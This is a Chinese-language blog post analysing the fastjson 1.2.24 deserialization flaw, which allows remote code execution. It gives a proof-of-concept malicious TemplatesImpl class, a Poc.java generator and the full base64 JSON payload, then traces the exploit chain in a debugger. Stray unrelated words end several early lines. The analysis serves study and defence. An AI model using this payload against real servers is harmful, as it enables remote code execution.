漏洞影響版本:html
fastjson在1.2.24以及以前版本存在遠程代碼執行高危安全漏洞java
環境地址:git
https://github.com/vulhub/vulhub/tree/master/fastjson/vulngithub
正常訪問頁面返回hello,world~apache
此時抓包修改content-type爲json格式,並post payload,便可執行rcejson
此時就可以建立success文件數組
研究這個漏洞以前,先熟悉一下阿里的這個fastjson庫的基本用法安全
package main.java; import java.util.HashMap; import java.util.Map; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.serializer.SerializerFeature; import main.java.user; public class test_fast_json { public static void main(String[] args){ Map<String,Object> map = new HashMap<String, Object>(); map.put("key1","one"); map.put("key2","two"); //System.out.println(map.getClass()); String mapjson = JSON.toJSONString(map); System.out.println(mapjson.getClass()); user user1 = new user (); user1.setName("111"); System.out.println(JSON.toJSONString(user1)); String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName); System.out.println("serializedStr1="+serializedStr1); user user2=(user)JSON.parse(serializedStr1); System.out.println(user2.getName()); Object obj = JSON.parseObject(serializedStr1); System.out.println(obj); System.out.println(obj.getClass()); Object obj1 = JSON.parseObject(serializedStr1,Object.class); //user obj1 = (user) JSON.parseObject(serializedStr1,Object.class); user obj2 = (user)obj1; System.out.println(obj2.getName()); System.out.println(obj2.getClass()); } }
//輸出
class java.lang.String {"age":0,"name":"111"} serializedStr1={"@type":"main.java.user","age":0,"name":"111"} 111 {"name":"111","age":0} class com.alibaba.fastjson.JSONObject 111 class main.java.user
這裏user爲定義好的一個類,實際上fastjson提供給咱們的也就是將對象快速轉換爲能夠傳輸的字符串,固然也提供從字符串中恢復出對象,也就是一個序列化和反序列化的過程,ide
能夠從輸出看到,JSON.toJSONstring其實是將類的屬性值轉化爲字符串,當JSON.toJSONstring帶有writeclassname時此時字符串中將包含類名稱及其包名稱,因此此時能夠定位到某個類以及其實例化對象的屬性值,再經過JSON.parse()函數便可經過fastjson序列化後的字符串恢復該類的對象,當恢復對象時,使用JSON.parseObject帶有Object.class時,此時可以成功恢復出類的對象,不然只能恢復到JsonObject對象函數
這個漏洞利用方式有好種,這篇文章主要分析利用templatesImlp這個類,這個類中有一個_bytecodes字段,部分函數可以根據這個字段來生成類的實例,那麼這個類的構造函數是咱們可控的,就可以rce
test.java
package person; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Test extends AbstractTranslet { public Test() throws IOException { Runtime.getRuntime().exec("calc"); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } }
test.java在這裏的話主要是用戶parseObject json反序列化時所要還原的類,由於在這會實例化該類,所以直接在其構造方法中calc便可
poc.java
package person; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.io.IOUtils; import org.apache.commons.codec.binary.Base64; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.IOException; public class Poc { public static String readClass(String cls){ ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { IOUtils.copy(new FileInputStream(new File(cls)), bos); //將test.class字節碼文件轉存到字節數粗輸出流中 } catch (IOException e) { e.printStackTrace(); } return Base64.encodeBase64String(bos.toByteArray()); } public static void test_autoTypeDeny() throws Exception { ParserConfig config = new ParserConfig(); final String fileSeparator = System.getProperty("file.separator"); final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\person\\Test.class"; String evilCode = readClass(evilClassPath); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; //autotype時反序列化的類 String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+evilCode+"\"]," + //將evilcode放在_bytecodes處 "'_name':'a.b'," + "'_tfactory':{ }," + "\"_outputProperties\":{ }}\n"; System.out.println(text1); //String personStr = "{'name':"+text1+",'age':19}"; //Person obj = JSON.parseObject(personStr, Person.class, config, Feature.SupportNonPublicField); Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); //pareseObject來反序列化,此時要設置SupportNonPublicField
public static void main(String args[]){ try { test_autoTypeDeny(); } catch (Exception e) { e.printStackTrace(); } } }
咱們已經知道在反序列化解析json字符串時在parseobject時觸發
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQANTHBlcnNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACUBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAHAAgHACcMACgAKQEABGNhbGMMACoAKwEAC3BlcnNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAADwAEABAADQARAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAEQABAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAFQALAAAAKgAEAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABQAFQACAAAAAQAWABcAAwABABAAGAACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAGgALAAAAIAADAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABkAGgACAA4AAAAEAAEAGwABABwAAAACAB0="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}
在此下斷點,運行poc.java
此時首先調用com/alibaba/fastjson/JSON.java的parseObject函數來處理咱們傳入的payload
此時判斷咱們傳入的features是否爲null,這裏
咱們已經制定了支持非publicfield屬性,由於使用的_bytescode實際爲非public的,不然沒法反序列化,接着調用defaultJsonParser來進一步處理payload
此時進一步調用javaObjectDeserializer,也就是反序列化時所使用的反序列化引擎,繼續跟進
此時在javaObjectDeserializer的deserialze函數中將判斷type的類型是否是泛型數組類型的實例以及判斷type是否是類類型的實例,這裏兩處不知足,因此調用parse.parse來解析
實際上此時又回到了
而且在此調用parseObject函數來處理咱們的payload
接下來一部分就是語法解析,先匹配出了其中的雙引號",
好比先在parseObject函數中匹配出了@type
匹配出@type標誌之後,將會繼續向後掃描json字符串,即取匹配相應的值,這個值也就是咱們想要反序列化的類
繼續往下走,將調用deserializer.deserialze函數來處理反序列化數據,此時deserializer中已經包含了要實例化的templatesimpl類,
跟進此函數,則能夠看到此時token爲16而且text爲咱們的payload
接下來會調用parseField函數來對json字符串中的一些key值進行匹配
這個方法裏面會調用smartmatch來對key值進行一些處理,好比將_bytecodes的下劃線刪除
當處理到_outputProperties字段時,步入其smartMatch方法
此時在FieldDeserializer中將會調用setValue方,此時將會在其中調用getOutputProperties()方法,由於存在OutputProperties屬性
此時在TemplatesImpl類的getOutputProperties函數中將會調用newTransformer().getOutputProperties函數,在newTransformer函數中又調用了getTransletInstance()函數,
這裏首先判斷_name字段不能爲空,這也是爲啥payload裏面會設置一個_name字段
接下來就會調用newInstance()函數來實例化對象了,能夠看到此事要求實例化的對象時AbstractTranslet類的,那麼只須要讓咱們的payload中的類繼承自該類便可,
能夠看到此時_transletIndex爲零,所以此時實例化的就是咱們構造的惡意類,
縮減後的整個調用鏈即爲:
JSON.parseObject ... JavaBeanDeserializer.deserialze ... FieldDeserializer.setValue ... TemplatesImpl.getOutputProperties TemplatesImpl.newTransformer TemplatesImpl.getTransletInstance ... Runtime.getRuntime().exec
http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/
https://www.freebuf.com/vuls/178012.html